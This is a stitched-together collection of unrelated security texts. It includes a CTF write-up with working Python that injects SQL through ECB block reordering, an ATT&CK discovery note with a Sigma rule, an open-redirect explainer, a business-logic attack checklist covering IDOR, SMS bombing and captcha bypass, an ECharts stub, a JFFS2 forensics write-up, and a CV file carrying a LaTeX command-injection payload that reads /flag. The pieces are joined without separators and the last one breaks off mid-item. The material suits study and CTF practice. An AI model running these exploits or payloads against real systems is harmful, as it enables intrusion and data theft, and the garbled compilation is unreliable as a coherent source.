'aaa' redirects to: http://fridge.insomnihack.ch/search/c5c376484a22a1a196ced727b32c05ceed1a8d4636d71c65dcf1bca14dac7665/ Our first thought was (and it turned out, we were almost right) - maybe parameter passed to search is encrypted SQL query. It certinally looks like that - block length is 16 bytes, and it can be easily verified. Encrypting 0123456789ABCD (14 chars) gives us: b15fd5ffdae30bbe81f2ba9ec6930473b57ceb7611442a1380e2845a9b916405 And encrypting 0123456789ABCDE (15 chars): b15fd5ffdae30bbe81f2ba9ec6930473cce0dd7d051074345c5a8090ba39d24cb9719c83f5ab5c0751937a39150c920d So we know something about cipher already. Now we can check, if blocks are related in any way (CTR, CBC) or completly independent (ECB): Encrypting aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa gives us: 5616962f8384b4f8850d8cd1c0adce98 e449af7ccbc7f34f2f1976a5fbfeb93f e449af7ccbc7f34f2f1976a5fbfeb93f e449af7ccbc7f34f2f1976a5fbfeb93f 04ea1913c8d3e7f30d2626ee9dfeff07 f1ad77dcff3212b1a5f83d230610d845 We can clearly see repeating block in the middle (so we are dealing with ECB mode - yay). But first and last blocks are different - so we can conclude that server is adding some secret prefix and suffix to our data (this matches our hypothesis about SQL query, by the way). First thing we did were implementing "fuzzer" for encrypted data (randomly changing last block and checking results) - because we were curious what the errors will be. Fuzzer code is not particulary interesting (you can find it in [fuzzer.py file](fuzzer.py)), but it gave us interesing results. Especially these two errors catched our eye: <p> Error : no such table: objsearch_user♠ </p> <p> Error : unrecognized token: &quot;&#39;i WHERE description LIKE ?&quot; </p> So we know even more about server operatins. Now what? We found out that we can bruteforce 'suffix' appended to our data. We know that block cipher is used. I will denote each encrypted block like `[xxxxxxxxx]`. So encrypted request looks like this: [prefixaaaaa][aaaaaaaaaa][aaaaaaaaaa][aaaaaaasuf][fix_______] But, when we use long enough content, we can get something like this: [prefixaaaaa][aaaaaaaaaa][aaaaaaaaaa][aaaaaaaaas][uffix_____] (Only one byte of suffix is inside fourth block). Why would we do that? Because now we can bruteforca all possible bytes, and check when encrypting "aaaaaaaaaa" + (next byte) gives the same result that encrypting "aaaaaaaa" + (first byte of suffix). Now we created another script, used to get entire suffix: ```python import requests import time import string prefx_len = 7 sufx_len = 11 def encrypt(payload): sessid = 'ln8h6x5zwp6oj2e7kz6zd45hlu97q3yp' cookies = {'sessionid': sessid} cookies['AWSELB'] = '033F977F02D671BCE8D4F0E661D7CA8279D94E64EF1BD84608DB9FFA0FC0F2F4F304AC9CD30CDCC86788A845DF98A68A77D605B8BF768114D93228AACFB536DE3963E28F295D0C2D52138BA1520672BB1428B11124' url0 = 'http://fridge.insomnihack.ch/' base = requests.get(url0, cookies=cookies) text = base.text csrf = "<input type='hidden' name='csrfmiddlewaretoken' value='" start = text.find(csrf) + len(csrf) token = text[start:start+32] cookies['csrftoken'] = token url = 'http://fridge.insomnihack.ch/users/' resp = requests.post(url, data={'term': payload, 'csrfmiddlewaretoken': token}, cookies=cookies, allow_redirects=False) prefx = '/search/' loc = resp.headers['location'] return loc[len(prefx):-1] prefx = 'p' * prefx_len known_suffix = '' for i in range(sufx_len): content_len = 48 - prefx_len - len(known_suffix) - 1 content = 'a' * content_len crypted = encrypt(content) crypted_chunks = chunks(crypted, 32) print crypted_chunks sought = crypted_chunks[-2] print 'sought', i, sought for c in [chr(x) for x in range(256)]: payload = content + known_suffix + c decrypted = encrypt(payload) decrypted_chunks = chunks(decrypted, 32) print decrypted_chunks result = decrypted_chunks[-2] if result == sought: print 'got', c known_suffix += c print known_suffix break ``` And the result was (this is the suffix that server appends to our message): |type=user Now we are talking. Looking at error messages we got earlier, it is clear that this "type" is appended to SQL query directly - so we could do textbook SQL injection with this field. If only we could append something to encrypted text... And it turns out we can! Imagine that length of ciphertext is multiple of 16 bytes: [prefixaaaaa][aaaaaaaaaa][aaaaaaaaaa][aa|type=user] We can append block with encrypted `[ WHERE 1=1 --]` to the end, and the result will be: [prefixaaaaa][aaaaaaaaaa][aaaaaaaaaa][aa|type=user][ WHERE 1=1 --] And it will cause following query to be executed: SELECT (?) FROM objsearch_user WHERE 1=1 -- ??? Great. Now we need to get our SQLi code in the form of ecnrypted blocks so we can append them somewhere. We can do this easily using the server itself for encryption, as long as our code will be filling entirely consecutive encryption blocks. This is a weakness of ECB encryption mode - plaintext block is always encrypted into the same cipher block, regardless of the position in input. We need only to fill the prefix block (missing 9 bytes) and then add some padding (eg. spaces) to our SQLi so that the server suffix ends up in the last block: [prefix123456789][SQLi part1]...[SQLi partN ][|type=user] By sending such payload we will get N+2 blocks. First one contains prefix and our filling, last one only suffix, and all the rest contain our encrypted SQLi code. Now we can put those blocks in between any other blocks and the server will decrypt them and glue in this place. One last think we have to watch out - padding. Length of data encrypted with block cipher must be multiple of 16 bytes, always. What if we are encrypting something shorter? That's when padding comes in: One of popular padding schemes (PKCS7 to be precise) works as follows: * if last block is 1 byte short of 16 bytes, append '\x01' to the end * if last block is 2 bytes short of 16 bytes, append '\x02\x02' to the end * if last block is 3 bytes short of 16 bytes, append '\x03\x03\x03' to the end * ... * and, important: if length of ciphertext is exactly multiple of 16 bytes, append '\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10' Last condition is necessary, because otherwise we cannot uniquely remove padding. So we have to remember that even though data we are encrypting IS multiple of 16 bytes, last block will be phony block consisting only of 0x10 bytes, and we will have to append it after processing. Finally, merging all these ideas, we wrote following tool: [final.py](final.py): ```python def hack(query): parts = encrypt2(query) part = ''.join(parts) prfx = 'b15fd5ffdae30bbe81f2ba9ec6930473cce0dd7d051074345c5a8090ba39d24c' sufx = 'b9719c83f5ab5c0751937a39150c920d' return prfx + part + sufx def hack2(query): payload = hack(query) session = '16if76517xm5zvvwn0l09yq8hqwbgdi5' cookies = {'sessionid': session} cookies[ 'AWSELB'] = '033F977F02D671BCE8D4F0E661D7CA8279D94E64EFD0AA7BC023208F4937F97452EF3E07B21CF2698ED17FB3AE4D8A6166A17A44ACBC6810BEC0739D56BBE463F63CC54BC91275B57E8FE8CBB9B39F65DFAFFA27C1' url = 'http://fridge.insomnihack.ch/search/' r = requests.get(url + payload, cookies=cookies) return r.text def hack3(query): return hack2(' union all select 1, (' + query + '), 3, 4, 5 union all select 1, 2, 3, 4, 5 from objsearch_user ') import sys print hack3(sys.argv[1]) ``` It allows us to trivially execute any SQL query on database - looks like we managed to solve challenge. We found three tables in database: objsearch_user, objsearch_object and sqlite_sequence. So we just queried sqlite_master for DDL for objsearch_user: CREATE TABLE &quot;objsearch_user&quot; (&quot;id&quot; integer NOT NULL PRIMARY KEY AUTOINCREMENT, &quot;username&quot; varchar(200) NOT NULL, &quot;description&quot; varchar(2000) NOT NULL, &quot;password&quot; varchar(200) NOT NULL, &quot;email&quot; varchar(200) NOT NULL) And then we queried password for user "John" - it turned out that passwords were stored in plain text! SuperDuperPasswordOfTheYear!!! And finally, we logged in into John user and took food from his fridge (like task's description told us to): Hello Johnny, have your food and a flag, because why not? INS{I_do_encryption_so_no_SQL_injection}
sec-knowleage
# T1018-win-远程系统发现 ## 来自ATT&CK的描述 攻击者可能会试图通过IP地址、主机名或网络上的其他逻辑标识符获取其他系统的列表,该列表可用于从当前系统进行横向移动。在远程访问工具中可以存在功能以实现这一点,但也可以使用操作系统上可用的实用工具。攻击者还可以使用本地主机文件来发现远程系统的主机名到IP地址的映射。 windows 获取此信息的工具和命令示例包括使用net的“ping”或“net view”。可以查看 C:\Windows\System32\Drivers\etc\hosts的内容,以了解系统上现有的主机名到IP映射。 MacOS 特定于Mac,在同一广播域内发现其他基于Mac的系统的bonjour协议。诸如“ping”等实用程序可用于收集有关远程系统的信息。可以查看/ETC/HOST文件的内容,以了解系统上现有的主机名到IP映射。 Linux 诸如“ping”等实用程序可用于收集有关远程系统的信息。可以查看/ETC/HOST文件的内容,以了解系统上现有的主机名到IP映射。 云 在云环境中,上述技术可用于根据主机操作系统发现远程系统。此外,云环境通常为api提供有关远程系统和服务的信息。 ## 测试案例 ### 查看共享资料 net view获取当前组的计算机名(一般remark有Dc可能是域控),但一般情况下,无法单独使用net view; ### 查看arp表 arp -a ### 查看host文件 ```yml linux: cat /etc/hosts windows: type c:\Windows\system32\drivers\etc\hosts ``` ### 查看DNS缓存 ipconfig /displaydns ### 当然,利用一些工具也可以,比如nmap、nbtscan ## 检测日志 windows 安全日志 ## 测试复现 ```bash C:\Users\administrator.0DAY>net view \\ICBC.0day.org 列表是空的。 ``` ## 测试留痕 windows 安全日志,事件创建4688、子父进程、进程命令行参数(windows server 2016以上) ## 检测规则/思路 ### sigma规则 ```yml title: windows执行net view命令 description: windows server 2016 references: 暂无 tags: T1018 status: experimental author: 12306Bro logsource: product: windows service: security detection: selection: EventID: 4688 #进程创建 Newprocessname: 'C:\windows\System32\net.exe' #进程信息>新进程名称 Creatorprocessname: 'C:\windows\system32\cmd.exe' #进程信息>创建者进程名称 Processcommandline: net view * #进程信息>进程命令行 condition: selection level: low ``` ### 建议 **高版本操作系统可以根据子父进程以及命令行参数进行检测,但是,多数情况下某些命令正常管理员也会去用,所以需要根据具体情况具体分析,排除误报。** 系统和网络发现技术通常发生在攻击者了解环境的整个行动中。不应孤立地看待数据和事件,而应根据获得的信息,将其视为可能导致其他活动(如横向运动)的行为链的一部分。 与合法远程系统发现相关的正常、良性系统和网络事件可能不常见,具体取决于环境和使用方式。监视进程和命令行参数,以了解为收集系统和网络信息而可能采取的操作。具有内置功能的远程访问工具可以直接与Windows API交互以收集信息。还可以通过Windows系统管理工具(如Windows management Instrumentation和PowerShell)获取信息。 ## 参考推荐 MITRE-ATT&CK-T1018 <https://attack.mitre.org/techniques/T1018/> 红蓝对抗之Windows内网渗透 <https://blog.csdn.net/Tencent_SRC/article/details/107853395?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_title~default-4.readhide&spm=1001.2101.3001.4242>
sec-knowleage
原文 by wooyun wiki ## 1、相关背景介绍 由于应用越来越多的需要和其他的第三方应用交互,以及在自身应用内部根据不同的逻辑将用户引向到不同的页面,譬如一个典型的登录接口就经常需要在认证成功之后将用户引导到登录之前的页面,整个过程中如果实现不好就可能导致一些安全问题,特定条件下可能引起严重的安全漏洞。 ## 2、成因 对于URL跳转的实现一般会有几种实现方式: * META标签内跳转(`<meta http-equiv="refresh" content="0;URL='http://thetudors.example.com/'" /> `) * javascript跳转(`<script>self.location=target</script>`) * header头跳转(`Location:url`) 通过以GET或者POST的方式接收将要跳转的URL,然后通过上面的几种方式的其中一种来跳转到目标URL。一方面,由于用户的输入会进入Meta,javascript,http头所以都可能发生相应上下文的漏洞,如xss等等,但是同时,即使只是对于URL跳转本身功能方面就存在一个缺陷,因为会将用户浏览器从可信的站点导向到不可信的站点,同时如果跳转的时候带有敏感数据一样可能将敏感数据泄漏给不可信的第三方。 譬如一个典型的登录跳转如下: ``` <?php $url=$_GET['jumpto']; header("Location: $url"); ?> ``` 如果jumpto没有任何限制,所以恶意用户可以提交 `http://wiki.wooyun.org/login.php?jumpto=http://www.evil.com` 来生成自己的恶意链接,安全意识较低的用户很可能会以为该链接展现的内容是wiki.wooyun.org从而可能产生欺诈行为,同时由于QQ,淘宝旺旺等在线IM都是基于URL的过滤,同时对一些站点会以白名单的方式放过,所以导致恶意URL在IM里可以传播,从而产生危害,譬如这里IM会认为wiki.wooyun.org都是可信的,但是通过在IM里点击上述链接将导致用户最终访问evil.com。 对于自动化扫描来看,如果是header 方式跳转可以读取Location 字段得知是否存在漏洞;如果是 js 类跳转,用 http://diaoyu.test.com append/replace 在get, post 参数,经过 dom 解析后检测 iframe-src, script-src, location.href, location.replace 等位置是否出现。 ## 3、测试点 get/post 参数 url/jump/from/back/site 等关键字。 有时跳转的参数没有验证,或者只验证了一些关键字,可以绕过,甚至由其他参数来控制是否马上跳转还是让用户选择下一步,如 delay 等字眼。 或者一些js 判断逻辑没有写好,也会有一些绕过姿势。 ## 4、登录验证、登录跳转 一般网站登录前的验证可能是这样实现的: `<form action="processs.php", id="login" method="post" onsubmit="return validate();">` 在用户填完信息后会先调用validate() 函数进行验证,如果返回true 才会真正提交表单。 在validate() 里类似 `if(document.forms.login.agreement.value != checked) { return false;} ` 在不想重载页面,也就是不提交,可以 `onsubmit="quote(); return false;"` 在quote()里面可以 `xhr= new XMLHttpRequest();` 即ajax的方式来做一些操作。 现在很多提交的实现不再使用 form 表单,比如只要监听某 button 标签事件,点击触发时执行事件,里面用 ajax 方式提交请求。 ``` javascript $(".submit").on('click', function () { var msg = ""; if ($(".user_name").val().trim() && $(".mail").val().trim() && $(".phone").val().trim()) { submitUserInfo(); } else { } }); ``` 一般的网站登录跳转实现方式之一是:在login.php 对表单post 过来的user&pwd&email 验证,如果对则设置一个键值如 `$_SESSION["auth"]=true`,设置response 的Location Header : home.php,本程序exit。浏览器接收到rsp,看到Location 头部,于是跳转请求至home.php。home.php 可以对`$_SESSION["auth"]` 继续判断一次,若true 则显示登录后的页面。当然这一切的前提是login.php开启了session_start(),这样第二次访问home.php 也会带上`Cookie:PHPSESSID=xxx`,这样server 通过 $_COOKIE 获取sessionId就知道是同个用户的请求,通过sessionId就可以知道 $_SESSION 结构体中原本存放的数据,比如 `auth=True` 之类。 superglobals : $_COOKIE $_ENV $_FILES $_GET $_POST $_REQUEST $_SERVER $_SESSION
sec-knowleage
原文 by 自娱 ## 0x01 身份认证安全 ### 1 暴力破解 在没有验证码限制或者一次验证码可以多次使用的地方,使用已知用户对密码进行暴力破解或者用一个通用密码对用户进行暴力破解。 一些工具及脚本 * Burpsuite * htpwdScan 撞库爆破必备 URL: https://github.com/lijiejie/htpwdScan * hydra 源码安装xhydra支持更多的协议去爆破 (可破WEB,其他协议不属于业务安全的范畴) ### 2 session & cookie类 会话固定攻击:利用服务器的session不变机制,借他人之手获得认证和授权,冒充他人。 Cookie仿冒:修改cookie中的某个参数可以登录其他用户。 ### 3 弱加密 未使用https,是功能测试点,不好利用。 前端加密,用密文去后台校验,并利用smart decode可解 ## 0x02 业务一致性安全 ### 1 手机号篡改 a) 抓包修改手机号码参数为其他号码尝试,例如在办理查询页面,输入自己的号码然后抓包,修改手机号码参数为其他人号码,查看是否能查询其他人的业务。 ### 2 邮箱或者用户篡改 a) 抓包修改用户或者邮箱参数为其他用户或者邮箱 ### 3 订单id篡改 a) 查看自己的订单id,然后修改id(加减一)查看是否能查看其它订单信息。 ### 4 商品编号篡改 a) 例如积分兑换处,100个积分只能换商品编号为001,1000个积分只能换商品编号005,在100积分换商品的时候抓包把换商品的编号修改为005,用低积分换区高积分商品。 ### 5 用户id篡改 a) 抓包查看自己的用户id,然后修改id(加减1)查看是否能查看其它用户id信息。 ## 0x03 业务数据篡改 ### 1 金额数据篡改 a) 抓包修改金额等字段,例如在支付页面抓取请求中商品的金额字段,修改成任意数额的金额并提交,查看能否以修改后的金额数据完成业务流程。 ### 2 商品数量篡改 a) 抓包修改商品数量等字段,将请求中的商品数量修改成任意数额,如负数并提交,查看能否以修改后的数量完成业务流程。 ### 3 最大数限制突破 a) 很多商品限制用户购买数量时,服务器仅在页面通过js脚本限制,未在服务器端校验用户提交的数量,通过抓包修改商品最大数限制,将请求中的商品数量改为大于最大数限制的值,查看能否以修改后的数量完成业务流程。 ### 4 本地js参数修改 a) 部分应用程序通过Javascript处理用户提交的请求,通过修改Javascript脚本,测试修改后的数据是否影响到用户。 ## 0x04 用户输入合规性 ### 1 注入测试 ### 2 XSS测试 ### 3 Fuzz a) 功能测试用的多一些,有可能一个超长特殊字符串导致系统拒绝服务或者功能缺失。(当然fuzz不单单这点用途。) b) 可能会用的工具 —— spike ### 4 其他用用户输入交互的应用漏洞 ## 0x05 密码找回漏洞 a) 密码找回逻辑测试一般流程 i. 首先尝试正常密码找回流程,选择不同找回方式,记录所有数据包 ii. 分析数据包,找到敏感部分 iii. 分析后台找回机制所采用的验证手段 iv. 修改数据包验证推测 ## 0x06 验证码突破 验证码不单单在登录、找密码应用,提交敏感数据的地方也有类似应用,故单独分类,并进一步详情说明。 ### 1 验证码暴力破解测试 a) 使用burp对特定的验证码进行暴力破解 ### 2 验证码时间、次数测试 a) 抓取携带验证码的数据包不断重复提交,例如:在投诉建议处输入要投诉的内容信息,及验证码参数,此时抓包重复提交数据包,查看历史投诉中是否存在重复提交的参数信息。 ### 3 验证码客户端回显测试 a 当客户端有需要和服务器进行交互,发送验证码时,即可使用firefox按F12调出firebug就可看到客户端与服务器进行交互的详细信息 ### 4 验证码绕过测试 a) 当第一步向第二步跳转时,抓取数据包,对验证码进行篡改清空测试,验证该步骤验证码是否可以绕过。 ### 5 验证码js绕过 a) 短信验证码验证程序逻辑存在缺陷,业务流程的第一步、第二部、第三步都是放在同一个页面里,验证第一步验证码是通过js来判断的,可以修改验证码在没有获取验证码的情况下可以填写实名信息,并且提交成功。 ## 0x07 业务授权安全 ### 1 未授权访问 a) 非授权访问是指用户在没有通过认证授权的情况下能够直接访问需要通过认证才能访问到的页面或文本信息。可以尝试在登录某网站前台或后台之后,将相关的页面链接复制于其他浏览器或其他电脑上进行访问,看是否能访问成功。 ### 2 越权访问 在web应用中,根据访问客体的不同,常见的访问控制可以分为"基于URL的访问控制"、"基于方法(method)的访问控制"和"基于数据的访问控制"。前两者都是RBAC模型的实现,即验证用户所属的角色,以决定是否授权--"垂直权限管理";最后一个解决的是"水平权限管理"的问题,即需要有一个同角色用户到数据之间的对应关系。 * 水平权限越权 用户1--> 用户2 比如 bbs 回帖时修改用户id,可以用他人身份回帖,如果还存在 csrf 漏洞的话,就等于可以控制任意调查+广告利器。 比如修改 cookie 中的 uin 值为其他qq号,可以越权登录。 * 垂直权限越权 普通用户--> 管理员 分析方法: * 用两个浏览器登录不同账户,抓包修改如 uid/cookie 中的uin 等标识用户的参数,看能否互相影响或者获取到敏感数据。 从越权获取敏感数据的角度来看,自动化扫描可以这样实现: 将cookie 中的 uin 替换成另外一个测试uin,发起请求,判断返回内容格式是否是 json or csv,且内容字段个数与原始请求一致,且返回页面除了含有测试 uin 的值,还满足含有 (email and mobilephone) or idcard or passport or account_and_passwd or uin_and_skey or app_and_secret_account 时可判断存在敏感信息泄露漏洞。 注意:如果鉴权是使用前端js 做的,可以修改请求的**响应包**,看是否会造成越权。 参数或者路径中的uin 测试同理。 * A 发出带用户名参数之类的请求,截获请求,把cookie 替换为 B 的cookie,如果可以修改 A 的数据则存在越权。 * 修改如 user=default/admin 等标识用户权限的参数看返回页面。 * 扫描后台页面做一些越权操作,看是否有权限验证。 ## 0x08 业务流程乱序 ### 1 顺序执行缺陷 a) 部分网站逻辑可能是先A过程后B过程然后C过程最后D过程 b) 用户控制着他们给应用程序发送的每一个请求,因此能够按照任何顺序进行访问。于是,用户就从B直接进入了D过程,就绕过了C。如果C是支付过程,那么用户就绕过了支付过程而买到了一件商品。如果C是验证过程,就会绕过验证直接进入网站程序了。 ## 0x09 业务接口调用安全 ### 1 重放攻击 在短信、邮件调用业务或生成业务数据环节中(类:短信验证码,邮件验证码,订单生成,评论提交等),对其业务环节进行调用(重放)测试。如果业务经过调用(重放)后被多次生成有效的业务或数据结果 a) 恶意注册 b) 短信炸弹 在测试的过程中,我们发现众多的金融交易平台仅在前端通过JS校验时间来控制短信发送按钮,但后台并未对发送做任何限制,导致可通过重放包的方式大量发送恶意短信 ### 2 内容编辑 类似案例如下: 随便输入一个手机号,点击“获取短信验证码”,并抓取数据包内容。通过分析数据包,可以发现参数sendData/insrotxt的内容有客户端控制,可以修改为攻击者想要发送的内容。 将内容修改“恭喜你获得由xx银行所提供的iphone6一部,请登录http://www.xxx.com 领取,验证码为236694”并发送该数据包,手机可收到修改后的短信内容。 ## 0x10 时效绕过测试 大多有利用的案例发生在验证码以及业务数据的时效范围上,在之前的总结也有人将12306的作为典型,故单独分类。 ### 1 时间刷新缺陷 12306网站的买票业务是每隔5s,票会刷新一次。但是这个时间确是在本地设置的间隔。于是,在控制台就可以将这个时间的关联变量重新设置成1s或者更小,这样刷新的时间就会大幅度缩短(主要更改autoSearchTime本地参数)。 ### 2 时间范围测试 针对某些带有时间限制的业务,修改其时间限制范围,例如在某项时间限制范围内查询的业务,修改含有时间明文字段的请求并提交,查看能否绕过时间限制完成业务流程。例如通过更改查询手机网厅的受理记录的month范围,可以突破默认只能查询六个月的记录。 ## Reference [业务安全漏洞挖掘归纳总结](https://yq.aliyun.com/articles/20476)
sec-knowleage
# Echarts 目前市面上的数据可视化工具非常多,比如 iCharts,D3,Chart,Recharts,Raw,Leaflet,canvas 等等,为什么我选择了 Echarts ? 1. 这是百度的项目,一直有更新,是目前最新的是EChart 2. 有详细的中文文档和例子,网上有比较丰富的资料 3. 支持的图形较多,支持动态数据,对移动端的支持友好,有丰富的交互 ### 简介 ECharts,一个纯 Javascript 的图表库,可以流畅的运行在 PC 和移动设备上,兼容性较好,底层依赖轻量级的 Canvas 类库 ZRender,提供直观,生动,可交互,可高度个性化定制的数据可视化图表 ECharts 3 中更是加入了更多丰富的交互功能以及更多的可视化效果,并且对移动端做了深度的优化 ### 使用 直接引用就不说了可以去 [官网](http://echarts.baidu.com/tutorial.html) 查看, 这里我们说下在 React 项目中的使用 ### 装包 ``` npm install echarts --save ``` ### 使用 ``` ``` ### 参考 - 官网:[点击进入](http://echarts.baidu.com/index.html) - 官网:[点击进入](http://echarts.baidu.com/index.html) - 官网:[点击进入](http://echarts.baidu.com/index.html) - 官网:[点击进入](http://echarts.baidu.com/index.html)
sec-knowleage
# rare mount Forensics ## Description: > Little or big, we do not care! A binary file was attached. ## Solution: Let's inspect the binary: ```console root@kali:/media/sf_CTFs/35c3ctf/rare_mount# file ffbde7acedff79aa36f0f5518aad92d3-rare-fs.bin ffbde7acedff79aa36f0f5518aad92d3-rare-fs.bin: data root@kali:/media/sf_CTFs/35c3ctf/rare_mount# binwalk ffbde7acedff79aa36f0f5518aad92d3-rare-fs.bin DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 JFFS2 filesystem, big endian ``` So this might be a JFFS2 filesystem. Searching for a way to mount the filesystem, I found [this link](http://wiki.emacinc.com/wiki/Mounting_JFFS2_Images_on_a_Linux_PC). Copied their script and tried it out: ```console root@kali:/media/sf_CTFs/35c3ctf/rare_mount# ./mount.sh ffbde7acedff79aa36f0f5518aad92d3-rare-fs.bin /mnt/m 256 17152+0 records in 17152+0 records out 8781824 bytes (8.8 MB, 8.4 MiB) copied, 1.28533 s, 6.8 MB/s mount: /mnt/m: can't read superblock on /dev/mtdblock0. ``` Continued searching and found [this](https://www.digitalworldz.co.uk/threads/looking-inside-jffs2-images-on-a-linux-box.47718/): > A linux utility called "jffs2dump" which is part of the "mtd" package. If you don't have the mtd utilities in your Linux system, do a search in google for "mtd". Download, build, and install. > > You will use jffs2dump to convert the big endian image to an image that is of little endian. If you don't, then you will not be able to "mount" the image later on. > > To convert the original JFFS2 image (which is B.E), type the following into your shell. Note the "$" should not be typed, it is only used to indicate the shell prompt. > > $ jffs2dump -r -e /tmp/converted.img -b /tmp/original.img > > Change the above command as necessary to reflect where your own images are stored. > > Note you will see several screens of errors/warnings - just ignore these. Let's try: ```console root@kali:/media/sf_CTFs/35c3ctf/rare_mount# jffs2dump -r -e rare-fs-le.bin -b ffbde7acedff79aa36f0f5518aad92d3-rare-fs.bin root@kali:/media/sf_CTFs/35c3ctf/rare_mount# ./mount.sh rare-fs-le.bin /mnt/m 256 17152+0 records in 17152+0 records out 8781824 bytes (8.8 MB, 8.4 MiB) copied, 1.28779 s, 6.8 MB/s Successfully mounted rare-fs-le.bin on /mnt/m ``` It worked! Now, let's take a look at the contents: ```console root@kali:/media/sf_CTFs/35c3ctf/rare_mount# ls /mnt/m flag RickRoll_D-oHg5SJYRHA0.mkv root@kali:/media/sf_CTFs/35c3ctf/rare_mount# cat /mnt/m/flag 35C3_big_or_little_1_dont_give_a_shizzle 35C3_big_or_little_1_dont_give_a_shizzle 35C3_big_or_little_1_dont_give_a_shizzle 35C3_big_or_little_1_dont_give_a_shizzle 35C3_big_or_little_1_dont_give_a_shizzle 35C3_big_or_little_1_dont_give_a_shizzle 35C3_big_or_little_1_dont_give_a_shizzle 35C3_big_or_little_1_dont_give_a_shizzle 35C3_big_or_little_1_dont_give_a_shizzle 35C3_big_or_little_1_dont_give_a_shizzle 35C3_big_or_little_1_dont_give_a_shizzle 35C3_big_or_little_1_dont_give_a_shizzle 35C3_big_or_little_1_dont_give_a_shizzle 35C3_big_or_little_1_dont_give_a_shizzle 35C3_big_or_little_1_dont_give_a_shizzle 35C3_big_or_little_1_dont_give_a_shizzle 35C3_big_or_little_1_dont_give_a_shizzle 35C3_big_or_little_1_dont_give_a_shizzle 35C3_big_or_little_1_dont_give_a_shizzle 35C3_big_or_little_1_dont_give_a_shizzle 35C3_big_or_little_1_dont_give_a_shizzle 35C3_big_or_little_1_dont_give_a_shizzle 35C3_big_or_little_1_dont_give_a_shizzle 35C3_big_or_little_1_dont_give_a_shizzle 35C3_big_or_little_1_dont_give_a_shizzle root@kali:/media/sf_CTFs/35c3ctf/rare_mount# umount /mnt/m ``` The flag: 35C3_big_or_little_1_dont_give_a_shizzle
sec-knowleage
cv: personal_informations: firstname: A lastname: Schneier address: 221b Baker Street, London, ENGLAND position: Security Expert ; Master of Internet contacts: mobile: +12 3 456 789 012 email: bruce.schneier@it-is-not-my-real-email.com homepage: https://www.schneier.com/ github: schneier-not-my-real-account gitlab: schneier-not-my-real-account linkedin: schneier-not-my-real-account twitter: schneierblog skype: schneier-not-my-real-account reddit: schneier-not-my-real-account xing: schneier-not-my-real-account misc: extrainfo: Buy one of my books! quote: '\input|"cat /flag"|base64 ' committees: - position: Staff committee: DEFCON (DEFense security Conferences On Neptune) location: Neptune date: 2049 - position: Staff committee: NDH (Neptune's Days for Hacking) location: Neptune date: 2050 - position: Staff committee: Nuit du Hack location: Paris date: 2051 education: - degree: PhD in Quantum Physics and Astrophysics institution: University of Rochester location: Rochester, NY, USA date: April 1980 -- August 1984 description: - Eassssssy! - Very interesting - degree: PhD in Advanced Computer Security institution: American University location: Washington, DC, USA date: September 1984 -- June 1988 description: - Wonderful! experience: - job title: CTO organization: Resilient Systems location: United States of America date: 1923 -- 2019 responsibilities: - Too much for you - job title: CEO organization: Internet location: Digital world date: 2020 -- 2040 responsibilities: - Be sure it's working - job title: CEO organization: Universe location: Solar system and beyond date: 2041 -- now responsibilities: - Create and manage existing planets - Create and manage existing stars - Create and manage existing galaxies honors: - award: Finalist event: NDH Private CTF location: Paris date: 2039 - award: Finalist event: NDH Private CTF location: Uranus date: 2040 - award: Finalist event: NDH Private CTF location: Mars date: 2041 - award: Finalist event: NDH Private CTF location: Jupiter date: 2042 presentation: - role: Presenter of radare5 event: NDH (Neptune's Days for Hacking) location: Neptune date: 2091 description: - Introduced the 5th version of radare disassembler - Now a 3D interface - role: Presenter of recon-nnnng event: HIP (Hack In Pluto) location: Pluto date: 2094 description: - Presenting new features in recon-nnnng (Recon Next Next Next Next Generation) skills: - category: Computer Security list: Too much for you - category: Nuclear physics list: Too much for you - category: Quantum physics list: Too much for you - category: Astrophysics list: Too much for you - category: Cheeses list: Cheddard, Reblochon, Coulommiers, Brie writing: - role: Writer title: Data and Goliath location: United States of America date: 2015 description: - About the hidden battles to collect your data and control your world - role: Writer title: Secrets and Lies location: United States of America date: 2000 description: - About digital security in a networked world
sec-knowleage
[Back to Contents](README.md) ### The Security Checklist ##### AUTHENTICATION SYSTEMS (Signup/Signin/2 Factor/Password reset) - [ ] Use HTTPS everywhere. - [ ] Store password hashes using `Bcrypt` (no salt necessary - `Bcrypt` does it for you). - [ ] Destroy the session identifier after `logout`. - [ ] Destroy all active sessions on reset password (or offer to). - [ ] Must have the `state` parameter in OAuth2. - [ ] No open redirects after successful login or in any other intermediate redirects. - [ ] When parsing Signup/Login input, sanitize for javascript://, data://, CRLF characters. - [ ] Set secure, httpOnly cookies. - [ ] In Mobile `OTP` based mobile verification, do not send the OTP back in the response when `generate OTP` or `Resend OTP` API is called. - [ ] Limit attempts to `Login`, `Verify OTP`, `Resend OTP` and `generate OTP` APIs for a particular user. Have an exponential backoff set or/and something like a captcha based challenge. - [ ] Check for randomness of reset password token in the emailed link or SMS. - [ ] Set an expiration on the reset password token for a reasonable period. - [ ] Expire the reset token after it has been successfully used. ##### USER DATA & AUTHORIZATION - [ ] Any resource access like, `my cart`, `my history` should check the logged in user's ownership of the resource using session id. - [ ] Serially iterable resource id should be avoided. Use `/me/orders` instead of `/user/37153/orders`. This acts as a sanity check in case you forgot to check for authorization token. - [ ] `Edit email/phone number` feature should be accompanied by a verification email to the owner of the account. - [ ] Any upload feature should sanitize the filename provided by the user. Also, for generally reasons apart from security, upload to something like S3 (and post-process using lambda) and not your own server capable of executing code. - [ ] `Profile photo upload` feature should sanitize all the `EXIF` tags also if not required. - [ ] For user ids and other ids, use [RFC compliant ](http://www.ietf.org/rfc/rfc4122.txt) `UUID` instead of integers. You can find an implementation for this for your language on Github. - [ ] JWT are awesome. Use them if required for your single page app/APIs. ##### ANDROID / IOS APP - [ ] `salt` from payment gateways should not be hardcoded. - [ ] `secret` / `auth token` from 3rd party SDK's should not be hardcoded. - [ ] API calls intended to be done `server to server` should not be done from the app. - [ ] In Android, all the granted [permissions](https://developer.android.com/guide/topics/security/permissions.html) should be carefully evaluated. - [ ] On iOS, store sensitive information (authentication tokens, API keys, etc.) in the system keychain. Do __not__ store this kind of information in the user defaults. - [ ] [Certificate pinning](https://en.wikipedia.org/wiki/HTTP_Public_Key_Pinning) is highly recommended. ##### SECURITY HEADERS & CONFIGURATIONS - [ ] `Add` 